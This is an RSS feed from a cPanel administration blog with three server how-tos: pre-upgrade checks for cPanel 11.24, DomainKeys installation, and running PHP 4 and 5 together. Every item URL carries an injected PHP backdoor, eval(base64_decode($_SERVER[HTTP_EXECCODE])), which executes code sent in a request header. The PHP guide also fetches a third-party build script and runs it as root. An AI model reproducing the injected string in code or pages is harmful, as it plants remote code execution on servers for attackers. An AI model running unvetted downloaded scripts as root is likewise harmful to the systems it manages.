<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>cPanelConfig - cPanel server configuration guide &#187; cPanel Administration</title>
	<atom:link href="http://www.cpanelconfig.com/category/cpanel-administration/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.cpanelconfig.com</link>
	<description>The complete guide to setup and manage a cPanel based server</description>
	<lastBuildDate>Fri, 17 Jul 2009 11:15:39 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Before you upgrade to cPanel 11.24</title>
		<link>http://www.cpanelconfig.com/2008/12/20/before-you-upgrade-to-cpanel-1124/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/</link>
		<comments>http://www.cpanelconfig.com/2008/12/20/before-you-upgrade-to-cpanel-1124/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/#comments</comments>
		<pubDate>Sat, 20 Dec 2008 22:35:18 +0000</pubDate>
		<dc:creator>yolau</dc:creator>
				<category><![CDATA[cPanel Administration]]></category>

		<guid isPermaLink="false">http://www.cpanelconfig.com/?p=100</guid>
		<description><![CDATA[Before you update to cPanel 11.24 you shoud check a few things:




MySQL Root Password
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;
With cPanel 11.24 now available, it is imperative to ensure that you have set your MySQL root password before upgrading to the latest version of cPanel. If you have previously skipped this step, you can set it now using the &#8220;MySQL Root [...]]]></description>
			<content:encoded><![CDATA[<p>Before you update to cPanel 11.24 you shoud check a few things:</p>
<p><!--adsense--><br />
MySQL Root Password</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>With cPanel 11.24 now available, it is imperative to ensure that you have set your MySQL root password before upgrading to the latest version of cPanel. If you have previously skipped this step, you can set it now using the &#8220;MySQL Root Password&#8221; function in WebHost Manager. Failure to set a MySQL root password may cause database corruption on systems running MySQL 4.1 with InnoDB tables. Please set your MySQL root password as soon as possible to avoid any issues. Machines without a MySQL root password set allow access to any database by any user so it is imperative that a password is set as soon as possible.</p>
<p> </p>
<p> <!--adsense--></p>
<p>If you have moved /root</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>If you have set root&#8217;s home directory to something other than /root, you will need to copy .my.cnf from root&#8217;s home directory to /root/my.cnf. In the future, this process will be automated.</p>
<p> </p>
<p> </p>
<p>Automated process killers</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>If you have a system in place that automatically kills processes taking up a lot of CPU time, you should disable them before running the cPanel update as the size of the update has triggered many of these systems. These process killers will kill updates or related process in the middle of the process and cause issues. If you have a failed update, you can force a re-update by running /scripts/upcp &#8211;force<br />
<!--adsense--></p>
]]></content:encoded>
			<wfw:commentRss>http://www.cpanelconfig.com/2008/12/20/before-you-upgrade-to-cpanel-1124/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Installing DomainKeys on a cPanel server</title>
		<link>http://www.cpanelconfig.com/2007/10/14/installing-domainkeys-on-a-cpanel-server/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/</link>
		<comments>http://www.cpanelconfig.com/2007/10/14/installing-domainkeys-on-a-cpanel-server/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/#comments</comments>
		<pubDate>Sun, 14 Oct 2007 20:52:14 +0000</pubDate>
		<dc:creator>yolau</dc:creator>
				<category><![CDATA[How to]]></category>
		<category><![CDATA[Tips]]></category>
		<category><![CDATA[cPanel Administration]]></category>
		<category><![CDATA[cpanel]]></category>
		<category><![CDATA[domainkey]]></category>
		<category><![CDATA[DomainKeys]]></category>
		<category><![CDATA[install]]></category>
		<category><![CDATA[yahoo]]></category>

		<guid isPermaLink="false">http://www.cpanelconfig.com/cpanel-administration/installing-domainkeys-on-a-cpanel-server/</guid>
		<description><![CDATA[Delivering mail to yahoo and google is so hard those days. Almost every server has had this problem even if it is not used to relay spam.
Installing DomainKeys can help your server deliver &#8220;clean&#8221; emails directly to your user&#8217;s inbox.
What are DomainKeys?
Well you will find more information on this topic at: http://antispam.yahoo.com/domainkeys

Installation is simple and [...]]]></description>
			<content:encoded><![CDATA[<p>Delivering mail to yahoo and google is so hard those days. Almost every server has had this problem even if it is not used to relay spam.<br />
Installing DomainKeys can help your server deliver &#8220;clean&#8221; emails directly to your user&#8217;s inbox.<br />
<strong>What are DomainKeys?</strong><br />
Well you will find more information on this topic at: <a href="http://antispam.yahoo.com/domainkeys" title="Yahoo DomainKeys">http://antispam.yahoo.com/domainkeys</a><br />
<!--adsense--><br />
<strong>Installation</strong> is simple and it&#8217;s done on a domain basis.</p>
<p>How to install DomainKeys on a specific domain.</p>
<ol>
<li>First check that you are running the latest version on RELEASE or CURRENT of cPanel 11.</li>
<li>Run the script</li>
<blockquote><p>/usr/local/cpanel/bin/domain_keys_installer username</p></blockquote>
<p>Where username is the cPanel user.</ol>
<p>If you get an error similar to &#8220;Domain keys are not installed on this machine.&#8221; you either are not running the latest release or current version of cPanel or you have not converted yet to maildir. Maildir conversion is required before you install DomainKeys.<br />
You will find an article about converting to maildir on this site !</p>
<p>Ok, we just installed DomainKeys for a domain, but how about if we want to install it for all the domains (users)?<br />
Well I found the solution just a few days ago on a public forum. Someone wrote a nice bash script that will parse all the cpanel users and then run the installation for each of them.<br />
<!--adsense--></p>
<blockquote><p>for i in `ls /var/cpanel/users` ;do /usr/local/cpanel/bin/domain_keys_installer $i ;done</p></blockquote>
<p>Ok, but what about if we want that every new created account to have DomainKeys installed. Well this is a bit harder to do.<br />
I recommend editing /scripts/postwwwacct and adding:</p>
<blockquote><p>my %OPTS = @ARGV;<br />
my $user = $OPTS{&#8217;user&#8217;};<br />
/usr/local/cpanel/bin/domain_keys_installer $user</p></blockquote>
<p>Now test this by creating a new account.</p>
<p><!--adsense--></p>
<p>If you have any problems please don&#8217;t hesitate to leave a commnent here.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.cpanelconfig.com/2007/10/14/installing-domainkeys-on-a-cpanel-server/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/feed/</wfw:commentRss>
		<slash:comments>52</slash:comments>
		</item>
		<item>
		<title>Running PHP 5 and PHP 4 on the same cpanel server</title>
		<link>http://www.cpanelconfig.com/2007/10/14/running-php-5-and-php-4-on-the-same-cpanel-server/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/</link>
		<comments>http://www.cpanelconfig.com/2007/10/14/running-php-5-and-php-4-on-the-same-cpanel-server/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/#comments</comments>
		<pubDate>Sun, 14 Oct 2007 19:54:13 +0000</pubDate>
		<dc:creator>yolau</dc:creator>
				<category><![CDATA[cPanel Administration]]></category>
		<category><![CDATA[cpanel]]></category>
		<category><![CDATA[fastcgi]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[php 4]]></category>
		<category><![CDATA[php 5]]></category>

		<guid isPermaLink="false">http://www.cpanelconfig.com/cpanel-administration/running-php-5-and-php-4-on-the-same-cpanel-server/</guid>
		<description><![CDATA[This article will help you install and run on the same server php 4 and 5. Users will be allowed to choose what version to use for their scrips.
Although I personally don&#8217;t recommend this as it has many performance implications it&#8217;s something that small webhosts use so that they don&#8217;t have to have different servers [...]]]></description>
			<content:encoded><![CDATA[<p>This article will help you install and run on the same server php 4 and 5. Users will be allowed to choose what version to use for their scrips.<br />
Although I personally don&#8217;t recommend this as it has many performance implications it&#8217;s something that small webhosts use so that they don&#8217;t have to have different servers for different php versions.<br />
<!--adsense--></p>
<p>O k, let&#8217;s get started. Before I explain how to install it please note that part of this article is inspired by a post on Defender Hosting Forum (http://forums.defenderhosting.com/showthread.php?t=2103)</p>
<ol>
<li>Compiler check</li>
<blockquote><p>/scripts/checkccompiler<br />
rm -rf /home/cpphpbuild<br />
mkdir /home/cpphpbuild<br />
cd /home/cpphpbuild</p></blockquote>
<li>Download and extract php</li>
<blockquote><p>wget http://us2.php.net/get/php-5.2.4.tar.gz/from/this/mirror<br />
tar zfx php-5.2.4.tar.gz<br />
cd php-5.2.4</p></blockquote>
<li>Configure and build the php installation (credits go to elix for an excellent work)</li>
<blockquote><p>echo &#8220;#define HAVE_SENDMAIL 1&#8243; &gt;&gt; /home/cpphpbuild/php-5.2.4/main/php_config.h<br />
wget http://www.elix.us/tutorials/php5.gen.cpanel<br />
chmod 700 php5.gen.cpanel<br />
./php5.gen.cpanel<br />
make<br />
make install</p></blockquote>
<p><!--adsense--></p>
<li>Moving the files and finishing the configuration</li>
<blockquote><p>cp -f /usr/local/php5/bin/php5 /usr/local/cpanel/cgi-sys/php5<br />
chown root:wheel /usr/local/cpanel/cgi-sys/php5</p>
<p>cp -p /home/cpphpbuild/php-5.2.4/php.ini-recommended /usr/local/php5/lib/php.ini<br />
chown root.root /usr/local/php5/lib/php.ini<br />
chmod 644 /usr/local/php5/lib/php.ini</p>
<p>echo &#8220;cgi.fix_pathinfo = 1 ; needed for CGI/FastCGI mode&#8221; &gt;&gt; /usr/local/php5/lib/php.ini</p></blockquote>
<li>Now we have to add a few lines to the httpd.conf file</li>
<blockquote><p>pico /usr/local/apache/conf/httpd.conf</p></blockquote>
<p>Add in the section <ifmodule></ifmodule>&#8211; &#8220;index.php5&#8243; before index.php4<br />
Add after &#8220;AddType application/x-httpd-php .phtml&#8221;</p>
<blockquote><p>Action application/x-httpd-php5 &#8220;/cgi-sys/php5&#8243;<br />
AddHandler application/x-httpd-php5 .php5</p></blockquote>
<li>Test the installation</li>
<blockquote><p>service httpd configtest</p></blockquote>
<p>If you get any errors please check that you done all the steps properly.<br />
If everything is ok you can now restart apache</p>
<li>Restart apache</li>
<blockquote><p>service httpd restart</p></blockquote>
</ol>
<p><!--adsense--></p>
<p>Now any files with the extension .php5 will be parsed by php 5 and all the other files will be parsed by your &#8220;normal&#8221; php 4 installation.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.cpanelconfig.com/2007/10/14/running-php-5-and-php-4-on-the-same-cpanel-server/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>
